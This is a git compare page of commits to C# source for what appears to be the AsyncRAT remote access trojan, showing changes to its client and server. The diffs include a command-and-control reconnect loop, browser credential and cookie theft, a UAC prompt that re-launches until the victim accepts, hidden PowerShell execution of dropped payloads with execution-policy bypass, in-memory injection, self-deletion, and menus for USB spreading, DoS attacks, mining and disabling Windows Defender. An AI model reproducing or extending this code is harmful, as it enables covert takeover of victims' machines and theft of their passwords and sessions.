Compare commits

..

22 Commits

Author SHA1 Message Date
NYAN CAT
0f0cba4ec3 Update Settings.cs 2023-10-17 00:41:08 +03:00
NYAN CAT
547e363b68 Create UnsafeStreamCodec.cs 2023-10-16 17:20:42 +03:00
NYAN CAT
b8101babad Create NativeMethods.cs 2023-10-16 17:20:41 +03:00
NYAN CAT
9049ccc73e Create JpgCompression.cs 2023-10-16 17:20:39 +03:00
NYAN CAT
9206734f4c Update Server.csproj 2023-10-16 17:20:26 +03:00
NYAN CAT
edbcc8441c Update Settings.settings 2023-10-16 17:20:24 +03:00
NYAN CAT
68c7666dc2 Update Settings.Designer.cs 2023-10-16 17:20:22 +03:00
NYAN CAT
b340bcb22e Update AssemblyInfo.cs 2023-10-16 17:20:18 +03:00
NYAN CAT
f1507608df Update packages.config 2023-10-16 17:20:15 +03:00
NYAN CAT
fa59997117 Update HandleRemoteDesktop.cs 2023-10-16 17:20:12 +03:00
NYAN CAT
4ebf319b8c Update HandleFileManager.cs 2023-10-16 17:20:06 +03:00
NYAN CAT
c98cb7a3ea Update FormRemoteDesktop.Designer.cs 2023-10-16 17:19:52 +03:00
NYAN CAT
1aa702e67a Fixed mouse move event 2023-10-16 17:19:48 +03:00
NYAN CAT
fb31f1db99 Update FormBuilder.Designer.cs 2023-10-16 17:19:29 +03:00
NYAN CAT
a7156a7c53 Remove fixed mutex 2023-10-16 17:19:22 +03:00
NYAN CAT
570a6f201f Update App.config 2023-10-16 17:19:11 +03:00
NYAN CAT
1df3645b07 Add native api SetCursorPos for mouse move event 2023-10-16 17:19:06 +03:00
NYAN CAT
5a1da42c76 remove SQLite DLL and update Newtonsoft.Json 2023-10-16 17:18:06 +03:00
NYAN CAT
296eaaa301 Disable buggy Firefox until I update it when I can 2023-10-16 17:17:35 +03:00
NYAN CAT
a895143d30 Update packages.config 2023-10-16 17:16:46 +03:00
NYAN CAT
5937e381f9 update
added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
fixed - mutex
2020-05-10 08:24:12 +03:00
NYAN CAT
10c995be22 update
added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
2020-05-10 08:14:33 +03:00
33 changed files with 1083 additions and 513 deletions

View File

@ -31,6 +31,7 @@ namespace Client.Connection
private static object SendSync { get; } = new object(); //Sync send
private static Timer Ping { get; set; } //Send ping interval
public static int Interval { get; set; } //ping value
public static bool ActivatePong { get; set; }
public static void InitializeClient() //Connect & reconnect
@ -92,7 +93,10 @@ namespace Client.Connection
Buffer = new byte[HeaderSize];
Offset = 0;
Send(IdSender.SendInfo());
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000));
Interval = 0;
ActivatePong = false;
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(10 * 1000, 15 * 1000), new Random().Next(10 * 1000, 15 * 1000));
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
}
else
@ -124,15 +128,15 @@ namespace Client.Connection
public static void Reconnect()
{
try
{
Ping?.Dispose();
KeepAlive?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
Ping?.Dispose();
KeepAlive?.Dispose();
}
catch { }
IsConnected = false;
}
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
@ -212,7 +216,7 @@ namespace Client.Connection
{
try
{
if (!IsConnected || msg == null)
if (!IsConnected)
{
return;
}
@ -254,19 +258,28 @@ namespace Client.Connection
public static void KeepAlivePacket(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
Send(msgpack.Encode2Bytes());
Ping?.Dispose();
Interval = 0;
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
GC.Collect();
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
Send(msgpack.Encode2Bytes());
GC.Collect();
ActivatePong = true;
}
catch { }
}
private static void Pong(object obj)
{
Interval++;
try
{
if (ActivatePong && IsConnected)
{
Interval++;
}
}
catch { }
}
}
}

View File

@ -24,11 +24,12 @@ namespace Client.Handle_Packet
{
case "pong": //send interval value to server
{
int interval = (int)ClientSocket.Interval;
ClientSocket.ActivatePong = false;
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("pong");
msgPack.ForcePathObject("Message").SetAsInteger(interval);
msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
ClientSocket.Send(msgPack.Encode2Bytes());
ClientSocket.Interval = 0;
break;
}
@ -36,11 +37,7 @@ namespace Client.Handle_Packet
{
try
{
Invoke(unpack_msgpack);
}
catch (Exception ex) // check if plugin is installed
{
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null)
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
{
Packs.Add(unpack_msgpack); //save it for later
MsgPack msgPack = new MsgPack();
@ -49,12 +46,16 @@ namespace Client.Handle_Packet
ClientSocket.Send(msgPack.Encode2Bytes());
}
else
Error(ex.Message);
Invoke(unpack_msgpack);
}
catch (Exception ex)
{
Error(ex.Message);
}
break;
}
case "savePlugin": // save plugin as MD5:Base64
case "savePlugin": // save plugin
{
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
Debug.WriteLine("plugin saved");

View File

@ -19,7 +19,7 @@ namespace Client.Helper
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
msgpack.ForcePathObject("Performance").AsString = "...";
msgpack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();

View File

@ -46,12 +46,16 @@ namespace Client
while (true) // ~ loop to check socket status
{
if (!ClientSocket.IsConnected)
try
{
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
if (!ClientSocket.IsConnected)
{
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
}
Thread.Sleep(new Random().Next(2000, 5000));
catch { }
Thread.Sleep(5000);
}
}
}

View File

@ -13,7 +13,7 @@ namespace Client
#if DEBUG
public static string Ports = "6606";
public static string Hosts = "127.0.0.1";
public static string Version = "0.5.7A";
public static string Version = "0.5.7B";
public static string Install = "false";
public static string InstallFolder = "AppData";
public static string InstallFile = "Test.exe";

View File

@ -1,76 +1,28 @@
<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- UAC Manifest Options
If you want to change the Windows User Account Control level replace the
requestedExecutionLevel node with one of the following.
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
Specifying requestedExecutionLevel element will disable file and registry virtualization.
Remove this element if your application requires this virtualization for backwards
compatibility.
-->
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- A list of the Windows versions that this application has been tested on
and is designed to work with. Uncomment the appropriate elements
and Windows will automatically select the most compatible environment. -->
<!-- Windows Vista -->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
</application>
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
<!--
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
-->
</assembly>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>

View File

@ -12,7 +12,6 @@ namespace Plugin.Handler
public HandleUAC()
{
if (Methods.IsAdmin()) return;
try
{
Process proc = new Process
@ -30,7 +29,7 @@ namespace Plugin.Handler
Methods.ClientExit();
Environment.Exit(0);
}
catch { }
catch { new HandleUAC(); }
}
}

View File

@ -11,11 +11,11 @@ namespace Plugin
try
{
StringBuilder Credentials = new StringBuilder();
new Browsers.Firefox.Firefox().CredRecovery(Credentials);
//new Browsers.Firefox.Firefox().CredRecovery(Credentials);
Browsers.Chromium.Chromium.Recovery(Credentials);
StringBuilder Cookies = new StringBuilder();
new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
//new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
//new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
MsgPack msgpack = new MsgPack();

View File

@ -38,14 +38,11 @@
<HintPath>..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
</Reference>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="Newtonsoft.Json, Version=12.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\Newtonsoft.Json.12.0.3\lib\net40\Newtonsoft.Json.dll</HintPath>
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\Newtonsoft.Json.13.0.3\lib\net40\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Data.SQLite, Version=1.0.112.1, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\lib\net40\System.Data.SQLite.dll</HintPath>
</Reference>
<Reference Include="System.Security" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
@ -59,10 +56,6 @@
<Compile Include="Browsers\Chromium\BCrypt.cs" />
<Compile Include="Browsers\Chromium\Chromium.cs" />
<Compile Include="Browsers\CredentialModel.cs" />
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
<Compile Include="Browsers\Firefox\Firefox.cs" />
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
<Compile Include="Browsers\IPassReader.cs" />
<Compile Include="Browsers\SQLiteHandler.cs" />
<Compile Include="Connection.cs" />
@ -84,10 +77,8 @@
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets'))" />
<Error Condition="!Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Fody.6.0.0\build\Fody.targets'))" />
<Error Condition="!Exists('..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
</Target>
<Import Project="..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets" Condition="Exists('..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets')" />
<Import Project="..\..\..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" />
</Project>

View File

@ -2,6 +2,5 @@
<packages>
<package id="Costura.Fody" version="4.1.0" targetFramework="net40" />
<package id="Fody" version="6.0.0" targetFramework="net40" developmentDependency="true" />
<package id="Newtonsoft.Json" version="12.0.3" targetFramework="net40" />
<package id="System.Data.SQLite.Core" version="1.0.112.1" targetFramework="net40" />
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net40" />
</packages>

View File

@ -38,16 +38,13 @@ namespace Plugin
case "mouseClick":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break;
}
case "mouseMove":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
SetCursorPos(Convert.ToInt32(unpack_msgpack.ForcePathObject("X").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Y").AsInteger));
break;
}
@ -128,9 +125,19 @@ namespace Plugin
try
{
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
using (Graphics graphics = Graphics.FromImage(bmpScreenshot))
{
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
graphics.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
CURSORINFO pci;
pci.cbSize = System.Runtime.InteropServices.Marshal.SizeOf(typeof(CURSORINFO));
if (GetCursorInfo(out pci))
{
if (pci.flags == CURSOR_SHOWING)
{
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x, pci.ptScreenPos.y, pci.hCursor);
graphics.ReleaseHdc();
}
}
return bmpScreenshot;
}
}
@ -142,5 +149,32 @@ namespace Plugin
[DllImport("user32.dll")]
internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
[StructLayout(LayoutKind.Sequential)]
struct CURSORINFO
{
public Int32 cbSize;
public Int32 flags;
public IntPtr hCursor;
public POINTAPI ptScreenPos;
}
[StructLayout(LayoutKind.Sequential)]
struct POINTAPI
{
public int x;
public int y;
}
[DllImport("user32.dll")]
static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
internal static extern bool SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
const Int32 CURSOR_SHOWING = 0x00000001;
}
}

View File

@ -15,35 +15,49 @@ namespace Plugin.Handler
try
{
//Drop To Disk
string fullPath = Path.GetTempFileName() + "g r" + unpack_msgpack.ForcePathObject("Extension").AsString;
string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) + unpack_msgpack.ForcePathObject("Extension").AsString);
File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = $"/c start /b powershell ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File {"'" + "\"" + fullPath + "\"" + "'"} & exit",
Arguments = $"/c start /b powershell ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false,
});
}
else
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = $"/c start /b powershell Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
Arguments = $"/c start /b powershell ExecutionPolicy Bypass Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false,
});
}
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{
new HandleUninstall();
}
else
{
Packet.Log("file executed!");
Thread.Sleep(1000);
if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fullPath)).Length > 0)
{
Packet.Log($"Temp\\{Path.GetFileName(fullPath)} executed successfully!");
}
else if (fullPath.ToLower().EndsWith(".ps1") && Process.GetProcessesByName("powershell").Length > 0)
{
Packet.Log($"Temp\\{Path.GetFileName(fullPath)} executed successfully!");
}
}
}
catch (Exception ex)

View File

@ -45,7 +45,7 @@ namespace Plugin.Handler
using (StreamWriter sw = new StreamWriter(batch))
{
sw.WriteLine("@echo off");
sw.WriteLine("timeout 3 > NUL");
sw.WriteLine("timeout 2 > NUL");
sw.WriteLine("CD " + Application.StartupPath);
sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q");
sw.WriteLine("CD " + Path.GetTempPath());

View File

@ -14,6 +14,18 @@ namespace Plugin
{
public static class Methods
{
private const string Alphabet = "abcdefghijklmnopqrstuvwxyz";
public static Random Random = new Random();
public static string GetRandomString(int length)
{
StringBuilder randomName = new StringBuilder(length);
for (int i = 0; i < length; i++)
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
return randomName.ToString();
}
public static void ClientExit()
{
try

View File

@ -10,7 +10,7 @@ namespace Plugin.Handler
{
public class HandleSendTo
{
public void SendToMemory(MsgPack unpack_msgpack)
public void ToMemory(MsgPack unpack_msgpack)
{
try
{
@ -46,7 +46,7 @@ namespace Plugin.Handler
{
try
{
global::Plugin.SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
}
catch (Exception ex)
{

View File

@ -16,7 +16,7 @@ namespace Plugin
{
case "sendMemory":
{
new HandleSendTo().SendToMemory(unpack_msgpack);
new HandleSendTo().ToMemory(unpack_msgpack);
break;
}
}

View File

@ -33,6 +33,7 @@
this.listView1 = new System.Windows.Forms.ListView();
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_country = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@ -80,17 +81,7 @@
this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.setWallpaperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.updateToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.showFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pCToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.serverToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.blockClientsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -131,7 +122,16 @@
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
this.TimerTask = new System.Windows.Forms.Timer(this.components);
this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.updateToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.showFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout();
@ -189,6 +189,11 @@
this.lv_country.Text = "Country";
this.lv_country.Width = 124;
//
// lv_group
//
this.lv_group.Text = "Group";
this.lv_group.Width = 110;
//
// lv_hwid
//
this.lv_hwid.Text = "HWID";
@ -249,7 +254,7 @@
this.toolStripSeparator5,
this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(203, 278);
this.contextMenuClient.Size = new System.Drawing.Size(238, 278);
//
// aBOUTToolStripMenuItem
//
@ -397,7 +402,7 @@
//
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
//
@ -405,7 +410,7 @@
//
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
//
@ -413,7 +418,7 @@
//
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
//
@ -421,7 +426,7 @@
//
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
//
@ -429,7 +434,7 @@
//
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
//
@ -437,7 +442,7 @@
//
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
//
@ -448,7 +453,7 @@
this.killToolStripMenuItem});
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
this.xMRMinerToolStripMenuItem.Visible = false;
//
@ -472,7 +477,7 @@
//
this.filesSearcherToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.filesSearcherToolStripMenuItem.Name = "filesSearcherToolStripMenuItem";
this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.filesSearcherToolStripMenuItem.Text = "Files Searcher";
this.filesSearcherToolStripMenuItem.Click += new System.EventHandler(this.filesSearcherToolStripMenuItem_Click);
//
@ -572,62 +577,8 @@
this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.systemToolStripMenuItem.Text = "System";
//
// clientToolStripMenuItem
//
this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.closeToolStripMenuItem1,
this.restartToolStripMenuItem2,
this.updateToolStripMenuItem2,
this.uninstallToolStripMenuItem,
this.toolStripSeparator3,
this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.clientToolStripMenuItem.Text = "Client";
//
// closeToolStripMenuItem1
//
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34);
this.closeToolStripMenuItem1.Text = "Close";
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
//
